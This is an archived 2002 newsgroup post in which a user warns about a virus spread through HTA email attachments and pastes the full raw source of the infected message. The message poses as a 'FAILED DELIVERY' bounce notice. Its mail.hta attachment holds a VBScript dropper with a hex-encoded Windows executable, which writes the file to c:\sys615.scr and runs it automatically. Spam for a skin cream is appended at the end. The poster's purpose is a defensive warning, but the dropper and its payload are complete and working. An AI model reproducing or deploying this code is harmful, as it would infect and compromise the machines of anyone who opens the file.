new script virus WARNING!!!
From: Ibozoo UU (ReplyToGroup@Only.com)
Date: 11/19/02
- Next message: nmwkps@sewrwq32.com: "Police Forensic & Evidence Elimination programs jjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj 8547 [786/2]"
- Previous message: Richard J: "Listing users/file access, tooltips pse?"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: "Ibozoo UU" <ReplyToGroup@Only.com> Date: Tue, 19 Nov 2002 16:15:15 +0100
I received a nice virus or Trojan that is using a file extension that I did
not know before:
HTA. In windows 2000 this extension is registered with the
C:\WINNT\System32\mshta.exe program that create an html view of the hta file
and execute all scripts vbs inside it without any warnings !!!!
So if you received a such attachment and you open it, it will execute
malicious code without asking you the permission that are set in your
internet explorer security panel.
Take care of this please.
A received this virus masked as an undelivered mail with the attachment that
was this virus mail.hta.
Mail source:
Return-Path: <MAILER-DAEMON%@chez.com>
Received: from chez.com (68.44.112.170) by mail.libertysurf.net (6.5.026)
id 3DD5A3DE0007337A; Tue, 19 Nov 2002 15:26:06 +0100
To: danihome@chez.com
From: MAILER-DAEMON@chez.com
Date: Tue, 19 Nov 2002 08:31:27
Subject: FAILED DELIVERY
MIME-Version: 1.0
Message-ID: w1u7t6f6r4c0f6t1s@%chez.com
X-Priority: 3 (Normal)
Content-Type: multipart/mixed;
boundary="----=_NextPart_000_0094_01C28FE2.25B78440"
X-MSMail-Priority: Normal
X-Mailer:
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 19 Nov 2002 12:40:48.0756 (UTC)
FILETIME=[E32F6340:01C28FC8]
------=_NextPart_000_0094_01C28FE2.25B78440
Content-Type: multipart/alternative;
boundary="----=_NextPart_001_0095_01C28FE2.25B78440"
------=_NextPart_001_0095_01C28FE2.25B78440
Content-Type: text/plain;
charset="koi8-r"
Content-Transfer-Encoding: quoted-printable
Unfortunately, it was not possible to deliver one or more of your messages.
For more information, please, take a look in the attachment.
------=_NextPart_001_0095_01C28FE2.25B78440
Content-Type: text/html;
charset="koi8-r"
Content-Transfer-Encoding: quoted-printable
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; charset=3Dkoi8-r">
<META content=3D"MSHTML 6.00.2600.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>
Your message, attached <br>
did not reach the reciepent.<br>
171939@chez.com #5.5.0 smtp; 550 Requested action not taken: mailbox
unavailable.
</DIV>
<DIV><BR><BR> </DIV></BODY></HTML>
------=_NextPart_001_0095_01C28FE2.25B78440--
------=_NextPart_000_0094_01C28FE2.25B78440
Content-Type: application/hta;
name="mail.hta"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
filename="mail.hta"
<title>Warning</title>
<script language=3Dvbs>
malware=3D"4d,5a,90,0,3,0,0,0,4,0,0,0,ff,ff,0,0,b8,0,0,0,0,0,0,0,40,0,0,0=
,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,c8,0,0,0=
,e,1f,ba,e,0,b4,9,cd,21,b8,1,4c,cd,21,54,68,69,73,20,70,72,6f,67,72,61,6d=
,20,63,61,6e,6e,6f,74,20,62,65,20,72,75,6e,20,69,6e,20,44,4f,53,20,6d,6f,=
64,65,2e,d,d,a,24,0,0,0,0,0,0,0,a3,dd,8c,fd,e7,bc,e2,ae,e7,bc,e2,ae,e7,bc=
,e2,ae,e7,bc,e2,ae,e1,bc,e2,ae,e7,bc,e3,ae,f8,bc,e2,ae,85,a3,f1,ae,ee,bc,=
e2,ae,84,9e,c8,ae,e6,bc,e2,ae,52,69,63,68,e7,bc,e2,ae,0,0,0,0,0,0,0,0,0,0=
,0,0,0,0,0,0,50,45,0,0,4c,1,3,0,89,15,c8,3d,0,0,0,0,0,0,0,0,e0,0,f,1,b,1,=
6,0,0,10,0,0,0,10,0,0,0,40,0,0,90,57,0,0,0,50,0,0,0,60,0,0,0,0,40,0,0,10,=
0,0,0,2,0,0,4,0,0,0,0,0,0,0,4,0,0,0,0,0,0,0,0,70,0,0,0,10,0,0,0,0,0,0,2,0=
,0,0,0,0,10,0,0,10,0,0,0,0,10,0,0,10,0,0,0,0,0,0,10,0,0,0,0,0,0,0,0,0,0,0=
,0,60,0,0,48,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,=
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0=
,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,=
0,0,0,0,0,0,0,0,0,0,0,0,55,50,58,30,0,0,0,0,0,40,0,0,0,10,0,0,0,0,0,0,0,4=
,0,0,0,0,0,0,0,0,0,0,0,0,0,0,80,0,0,e0,55,50,58,31,0,0,0,0,0,10,0,0,0,50,=
0,0,0,a,0,0,0,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,40,0,0,e0,55,50,58,32,0,0,0,0=
,0,10,0,0,0,60,0,0,0,2,0,0,0,e,0,0,0,0,0,0,0,0,0,0,0,0,0,0,40,0,0,c0,0,0,=
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0=
,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,=
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0=
,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,=
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0=
,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,=
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0=
,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,=
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0=
,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,=
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0=
,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,31,2e,32,33,0,55,50,58,21,c,9,2,a,94,47,e9=
,bb,2b,33,88,44,c5,33,0,0,86,7,0,0,0,40,0,0,26,0,0,ce,b6,79,ec,ff,6a,0,e8=
,0,0,9,68,a3,76,35,40,9,5c,a3,6e,68,96,a,90,b3,63,b7,4,22,30,13,3,3e,e,b8=
,5e,c8,84,bc,4e,31,e4,7a,32,69,1e,72,42,10,33,2c,1,a6,ff,6c,db,f,80,35,d2=
,34,a,4d,6,d3,6a,19,68,d4,34,ec,ee,bb,60,19,4,5,33,83,3d,7a,8d,0,75,7,a6,=
83,b5,f6,fe,56,6a,a,ff,35,9f,e,7,b1,0,dd,ff,b1,b1,ca,29,50,1f,55,8b,ec,83=
,c4,b4,33,c0,b9,30,18,8d,f9,f3,f6,fe,7d,d0,f3,aa,c7,45,d0,b,6,d4,3,20,d8,=
bb,11,40,b7,ff,74,ae,dc,13,6,e0,ff,75,8,8f,45,e4,13,f0,10,ca,87,67,23,f4,=
1a,f8,61,7,0,7f,b6,c,d8,cf,7b,aa,89,45,e8,e,a4,ec,2b,e9,1e,6b,cf,fc,8d,62=
,7d,b6,b,c0,a8,ff,95,75,dd,37,55,6a,2b,68,20,80,4,fb,ec,b9,db,cf,18,d,30,=
5f,64,50,86,a3,72,b,d8,1f,e9,de,1,51,b4,98,83,f8,0,74,14,d,ff,da,1f,76,c2=
,8,92,eb,d8,c9,c2,ac,ec,7d,c,1,75,ff,73,dd,87,16,d,ed,34,3c,65,74,20,bc,e=
b,b,eb,6a,81,43,36,17,6e,1b,13,1,49,75,2a,2,49,bf,f7,6c,b2,53,24,9e,77,b0=
,b8,c3,4f,eb,37,b6,d,64,77,4e,2,75,1c,21,15,19,14,2,c9,de,60,cb,10,c,22,8=
c,16,1f,f0,3,c2,8,7e,fc,b9,1,74,2,c9,c3,e1,8f,9d,d9,1b,3,5f,a,8d,3d,53,89=
,3d,f5,e5,b6,9b,b9,3d,7,62,96,f9,34,26,eb,72,1b,b8,10,72,39,42,56,4e,31,b=
9,1c,21,cb,3a,e4,1e,7a,32,3c,16,5e,8,8d,bf,50,70,1e,be,fb,26,a4,ce,ce,a6,=
1e,6a,5,68,5c,8a,1,36,d8,b3,c5,6,e8,fc,ec,7,c8,dd,ff,dd,d8,39,c7,5,f6,c3,=
f4,8b,5d,8,8b,55,c,b1,4d,eb,3f,d,ff,ff,4,4a,30,c,1a,b,d2,75,f8,8b,45,c,48=
,c6,4,18,15,8,81,c4,e8,10,db,f1,f8,fb,ff,ff,80,3d,ec,cd,b8,1,39,d1,ee,66,=
9c,ec,6a,a,57,a,4,89,91,cd,3e,63,f6,44,b8,59,22,0,33,0,25,d6,2c,dd,3b,43,=
85,28,a,f8,f,94,46,3a,82,d,fe,30,c3,0,ec,6d,f9,78,7b,66,7,ea,55,52,d0,4,e=
9,2,ad,fb,2b,db,4,6d,f0,f4,d,8d,85,ea,8f,50,4d,c8,de,eb,9e,f8,10,4a,17,b,=
4a,52,ff,bb,f6,77,8d,bd,29,8d,75,ea,d1,e6,f0,33,c9,33,d2,3b,55,f4,73,33,c=
3,ff,6f,ff,8a,c,3a,80,f9,61,72,8,4,7a,77,3,80,e9,20,b,db,75,13,38,88,20,1=
5,fd,d2,37,36,be,40,b6,8,75,e,43,86,eb,9,88,c,30,d6,28,db,df,d,2,74,2d,42=
,eb,c8,89,41,89,96,8f,b2,10,b6,3d,f,84,6f,56,ff,74,16,fe,eb,f6,36,49,33,d=
b,66,7d,ea,3d,3c,73,29,66,39,98,93,6c,ef,bf,40,74,4d,40,80,b8,8,9,16,c,9f=
,85,85,24,e2,d0,70,d3,74,9,a3,2d,e1,20,eb,1b,b8,9,9,c8,60,c1,de,17,74,2c,=
75,8c,72,84,4,d3,c8,fe,50,70,63,6c,38,5,60,6,eb,51,1f,df,8c,cb,84,61,ae,5=
8,da,74,5c,6f,61,36,6b,9,b1,66,74,98,d8,d9,3e,73,d4,fe,1b,6e,b,ec,12,8c,e=
e,60,f,7a,6a,8,14,6a,3,61,57,9e,93,cd,75,bf,f2,c7,85,f4,17,4,45,36,f4,d1,=
70,60,9c,f8,c3,e0,e7,e,66,7b,14,86,c7,80,2b,36,c8,76,26,3b,cf,8,0,c8,74,c=
c,64,b0,ee,b0,17,e6,50,3c,58,49,4c,ab,ee,b1,23,b9,e4,8b,12,8b,95,e8,5,1b,=
fe,ee,b1,2b,55,1b,95,f0,5,b9,0,46,c3,23,81,e2,fc,1f,f7,b3,4b,d8,f0,f1,3b,=
5,f1,f,73,68,3,68,c3,d8,d8,b3,62,bc,7f,62,89,d1,ff,5,f,48,73,a4,b3,29,35,=
2,26,ff,b5,9,13,e,7b,1c,36,1,7e,1c,0,c1,34,2c,b6,21,d2,72,60,17,58,52,15,=
41,d4,60,24,c8,1a,32,2e,49,47,48,e5,ac,fb,f2,2,ed,42,7a,15,18,d1,b3,ee,75=
,83,35,e4,a,3a,2,3,1,d2,36,48,fc,88,40,68,15,be,4a,29,f4,6f,9c,35,92,b6,2=
7,12,42,1c,4,b2,ec,7a,e0,8,f5,f,8,b5,f0,3d,db,90,1c,e8,24,38,f4,44,d9,60,=
65,93,5a,50,52,7e,e8,48,80,fd,7d,2f,66,81,bd,3d,4d,5a,74,34,8d,25,eb,3e,d=
e,ec,17,f0,74,33,80,b6,dc,1b,81,74,c0,bb,47,f0,23,9b,45,4e,37,37,2d,2e,e,=
4f,17,9,3c,bd,7b,c,db,7b,8f,dd,85,b0,7,40,5,f7,11,1b,9,bc,c5,30,db,33,6f,=
9,c8,11,da,41,38,e3,1d,c6,f8,9c,c0,d4,18,ff,65,2c,f9,9a,74,41,c9,c3,cc,ff=
,25,4c,20,64,64,64,2b,5,40,3c,38,64,64,64,64,24,28,34,30,64,64,64,64,2c,4=
8,44,78,64,64,64,64,74,70,6c,7c,64,64,64,64,80,5c,68,84,64,64,64,64,64,60=
,18,8,64,64,64,64,0,4,c,10,64,64,64,64,1c,14,54,98,61,66,64,64,8c,90,94,0=
,ff,5f,40,15,48,65,6c,6c,6f,2c,20,77,6f,72,6c,ff,ff,ff,f6,64,0,49,6e,6,0,=
35,37,38,78,31,30,6d,34,38,39,35,79,78,73,36,0,25,39,39,3d,77,62,fe,7f,fb=
,ff,62,3a,24,23,29,63,3d,3f,22,25,22,3e,39,a,2a,63,2e,22,20,62,27,24,20,2=
6,3f,28,62,16,88,ec,5f,38,23,39,28,3f,4d,6c,0,95,b,44,76,5,68,0,95,5,22,b=
b,2,3f,0,2,91,5d,81,95,b,0,81,c8,ae,c0,95,1a,0,d6,7e,f7,60,95,20,2c,3e,79=
,2c,37,63,25,34,3d,7,d,de,da,cf,fe,3f,39,63,23,28,39,91,3f,34,62,2a,b,b3,=
21,4d,dc,10,c8,23,c8,0,4d,3e,c2,ff,c6,57,4d,4c,63,47,3f,11,3d,37,28,22,0,=
20,7b,bc,ff,f6,8d,c6,17,5b,61,b,1c,4d,cf,0,80,4f,12,0,e0,10,0,ff,7f,fb,24=
,55,73,65,72,5,47,45,54,0,48,54,54,50,2f,31,2e,30,0,2a,ff,ff,ed,db,2f,2a,=
11,6f,75,74,70,2,2e,65,78,65,0,5b,53,54,52,41,4e,41,5d,0,53,4f,ff,ff,ff,f=
f,46,54,57,41,52,45,5c,4d,69,63,72,6f,73,6f,66,74,5c,57,69,6e,64,6f,77,73=
,5c,43,75,72,72,65,6e,74,6c,db,ff,b7,56,4c,73,69,6f,6e,5c,52,75,6e,0,54,6=
9,6d,3b,44,c,65,49,f5,db,8,53,57,27,43,6c,61,73,73,52,2a,c0,56,5,10,ff,cb=
,e6,28,a8,24,10,1,47,65,74,43,6f,6d,6d,61,bd,fd,47,fe,6e,64,4c,69,6e,65,4=
1,4d,6f,64,75,6c,65,46,69,3,4e,61,6d,46,7f,ec,f6,13,53,9,65,70,1a,53,79,7=
3,74,65,6d,e6,fa,af,bb,2c,29,48,3d,6c,27,45,78,69,74,50,de,76,47,97,25,63=
,65,f3,1,44,65,13,74,45,ec,c9,96,fa,19,43,29,61,c,57,72,69,b,cd,de,c9,dc,=
59,4f,54,6f,11,59,b6,60,a5,4a,35,69,55,aa,b5,7b,3f,fb,69,0,52,65,67,53,56=
,61,6c,75,47,10,36,6b,2f,b5,4f,70,81,4b,65,79,78,e,66,cd,6e,67,6e,10,e,51=
,26,72,79,2d,61,ed,b0,90,f,30,53,4e,f,b6,9,7b,2f,79,3f,1c,41,84,c2,dd,a,f=
1,69,54,53,68,39,2d,65,63,3f,cd,e6,5a,28,34,18,ce,5c,4c,6f,61,68,7e,57,ea=
,64,49,63,fa,88,54,72,61,6e,73,6c,4d,b9,7d,ed,6d,8,61,67,e6,49,d9,72,f0,5=
0,6f,76,48,d6,5a,86,ff,1a,45,b,7,ec,f6,6e,39,44,69,73,70,37,63,68,11,65,6=
6,4b,c2,61,56,6f,57,48,12,2f,58,3b,36,b4,4b,69,8f,5b,82,e1,6c,2b,57,94,a4=
,72,cc,69,5b,9a,cd,c5,aa,72,81,29,aa,d9,8c,f,ad,6b,75,9b,17,6e,77,3c,41,b=
5,80,7d,61,e,55,72,6c,11,43,9,61,d9,a1,50,95,11,99,21,ff,e5,53,44,50,45,4=
c,1,3,0,89,15,c8,3d,91,6,28,ff,e0,0,f,1,b,1,6,73,20,ce,49,2e,7b,b,f,40,4,=
0,61,df,7b,cb,7,1a,17,0,2,38,97,d4,1b,d8,10,7,6,bd,a0,75,3,42,96,20,78,57=
,a0,c0,36,3f,90,1e,2e,74,65,78,74,1a,a,db,db,c2,a7,6c,10,42,60,2e,72,64,a=
f,61,10,42,2f,4b,8,93,4,13,f2,40,2e,c,d2,dc,62,26,27,7e,5,30,30,c0,97,df,=
94,c0,13,b8,21,49,32,0,0,0,0,0,0,0,0,20,1,ff,0,0,0,0,0,0,0,0,0,0,60,be,0,=
50,40,0,8d,be,0,c0,ff,ff,57,83,cd,ff,eb,10,90,90,90,90,90,90,8a,6,46,88,7=
,47,1,db,75,7,8b,1e,83,ee,fc,11,db,72,ed,b8,1,0,0,0,1,db,75,7,8b,1e,83,ee=
,fc,11,db,11,c0,1,db,73,ef,75,9,8b,1e,83,ee,fc,11,db,73,e4,31,c9,83,e8,3,=
72,d,c1,e0,8,8a,6,46,83,f0,ff,74,74,89,c5,1,db,75,7,8b,1e,83,ee,fc,11,db,=
11,c9,1,db,75,7,8b,1e,83,ee,fc,11,db,11,c9,75,20,41,1,db,75,7,8b,1e,83,ee=
,fc,11,db,11,c9,1,db,73,ef,75,9,8b,1e,83,ee,fc,11,db,73,e4,83,c1,2,81,fd,=
0,f3,ff,ff,83,d1,1,8d,14,2f,83,fd,fc,76,f,8a,2,42,88,7,47,49,75,f7,e9,63,=
ff,ff,ff,90,8b,2,83,c2,4,89,7,83,c7,4,83,e9,4,77,f1,1,cf,e9,4c,ff,ff,ff,5=
e,89,f7,b9,67,0,0,0,8a,7,47,2c,e8,3c,1,77,f7,80,3f,0,75,f2,8b,7,8a,5f,4,6=
6,c1,e8,8,c1,c0,10,86,c4,29,f8,80,eb,e8,1,f0,89,7,83,c7,5,89,d8,e2,d9,8d,=
be,0,30,0,0,8b,7,9,c0,74,3c,8b,5f,4,8d,84,30,0,50,0,0,1,f3,50,83,c7,8,ff,=
96,78,50,0,0,95,8a,7,47,8,c0,74,dc,89,f9,57,48,f2,ae,55,ff,96,7c,50,0,0,9=
,c0,74,7,89,3,83,c3,4,eb,e1,ff,96,80,50,0,0,61,e9,1c,b7,ff,ff,0,0,0,0,0,0=
,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,=
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0=
,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,=
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0=
,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,=
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0=
,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,=
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,a8,=
60,0,0,78,60,0,0,0,0,0,0,0,0,0,0,0,0,0,0,b5,60,0,0,88,60,0,0,0,0,0,0,0,0,=
0,0,0,0,0,0,c2,60,0,0,90,60,0,0,0,0,0,0,0,0,0,0,0,0,0,0,ce,60,0,0,98,60,0=
,0,0,0,0,0,0,0,0,0,0,0,0,0,d9,60,0,0,a0,60,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,=
0,0,0,0,0,0,0,e4,60,0,0,f2,60,0,0,2,61,0,0,0,0,0,0,10,61,0,0,0,0,0,0,1e,6=
1,0,0,0,0,0,0,2e,61,0,0,0,0,0,0,38,61,0,0,0,0,0,0,4b,45,52,4e,45,4c,33,32=
,2e,44,4c,4c,0,41,44,56,41,50,49,33,32,2e,64,6c,6c,0,53,48,45,4c,4c,33,32=
,2e,64,6c,6c,0,55,53,45,52,33,32,2e,64,6c,6c,0,57,49,4e,49,4e,45,54,2e,64=
,6c,6c,0,0,4c,6f,61,64,4c,69,62,72,61,72,79,41,0,0,47,65,74,50,72,6f,63,4=
1,64,64,72,65,73,73,0,0,45,78,69,74,50,72,6f,63,65,73,73,0,0,0,52,65,67,4=
3,6c,6f,73,65,4b,65,79,0,0,0,53,68,65,6c,6c,45,78,65,63,75,74,65,45,78,0,=
0,53,65,74,54,69,6d,65,72,0,0,49,6e,74,65,72,6e,65,74,4f,70,65,6e,41,0,0,=
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0=
,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,=
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0=
,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,=
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0=
"
tmp =3D Split(malware, ",")
path =3D "c:\sys615.scr"
Set fso =3D CreateObject("Scripting.FileSystemObject")
Set shell =3D CreateObject("WScript.Shell")
Set f =3D fso.CreateTextFile(path, true)
For i =3D 0 To UBound(tmp)
l =3D Len(tmp(i))
malware =3D Int("&H" & Left(tmp(i), 2))
If l > 2 Then
r =3D Int("&H" & Mid(tmp(i), 3, l))
For j =3D 1 To r
f.Write Chr(malware)
Next
Else
f.Write Chr(malware)
End If
Next
f.Close
runscr=3D1
if runscr then shell.run(path)
</script>
<table width=3D100% bgcolor=3Dwhite><tr><td><hr noshade><font size=3D-1 =
color=3Dgray>
The following message was sent to you as an opt-in subscriber to
EmailStimulator or its affiliates. We will continue to bring you =
valuable offers on the products and services that interest you most.
To no longer receive these offers, please click here.<a
href=3Dhttp://unsubscribe.e54.org/g/unsubscribe.php>Unsubscribe</a>.</fon=
t><hr noshade>
</td></tr></table></center>
<br>
<html>We are so positive that this remarkable, new cream will perform =
like no other cream you have ever tried that we are offering you a trial =
sample at absolutely no cost to you. You'll discover that within a few =
short weeks of using Perfection by Paradise your skin will undergo such =
a magnificent transformation that you will never want to be without it =
again. Perfection by Paradise offers you a totally unique approach to =
achieving ageless, smooth, and vitally young skin. Perfection saturates =
layer after layer of thirsty skin cells with humectants to hold in =
moisture and protein to revitalize. The result? Skin cells that are =
plumped up, not dry, and packed with healthy protein...and a massive =
reduction in lines, signs of stress, roughness and skin damage. Our =
supply is extremely limited and the demand is staggering so please take =
advantage of our incredible offer before it's too late. Just click the =
link provided below for the best skin of your life.<p><a =
href=3Dhttp://www.perfectionream.com/redir?LinkID=3Dad021022-PC-25fffffff=
3>Click Here!</a><p>
<table width=3D100% bgcolor=3Dwhite><tr><td><hr noshade><font size=3D-1 =
color=3Dgray>
The message above was sent to you as an opt-in subscriber to
EmailStimulator or its affiliates. We will continue to bring you =
valuable offers on the products and services that interest you most.
To no longer receive these offers, please click here. <a
href=3Dhttp://unsubscribe.e54.org/g/unsubscribe.php?address>Unsubscribe</=
a>.<br>http://unsubscribe.e54.org/g/unsubscribe.php>
<br><br>
<font color=3Dgray size=3D-1> To have your email address removed by =
postal mail or fax...<br><b><i><a =
href=3Dhttp://www.emailsimulator.com/contact.html>Email Stimulator, =
Inc.</a></i></b><br> 5500 Military Trail, Suite 22-111<br> Jupiter, =
FL 33458<br><br>
443.785.2646 (Fax)
</td></tr></table></center>
------=_NextPart_000_0094_01C28FE2.25B78440--
- Next message: Hans D. Jensen: "Q: Remove t@gged directories"
- Next message: nmwkps@sewrwq32.com: "Police Forensic & Evidence Elimination programs jjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj 8547 [786/2]"
- Previous message: Richard J: "Listing users/file access, tooltips pse?"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
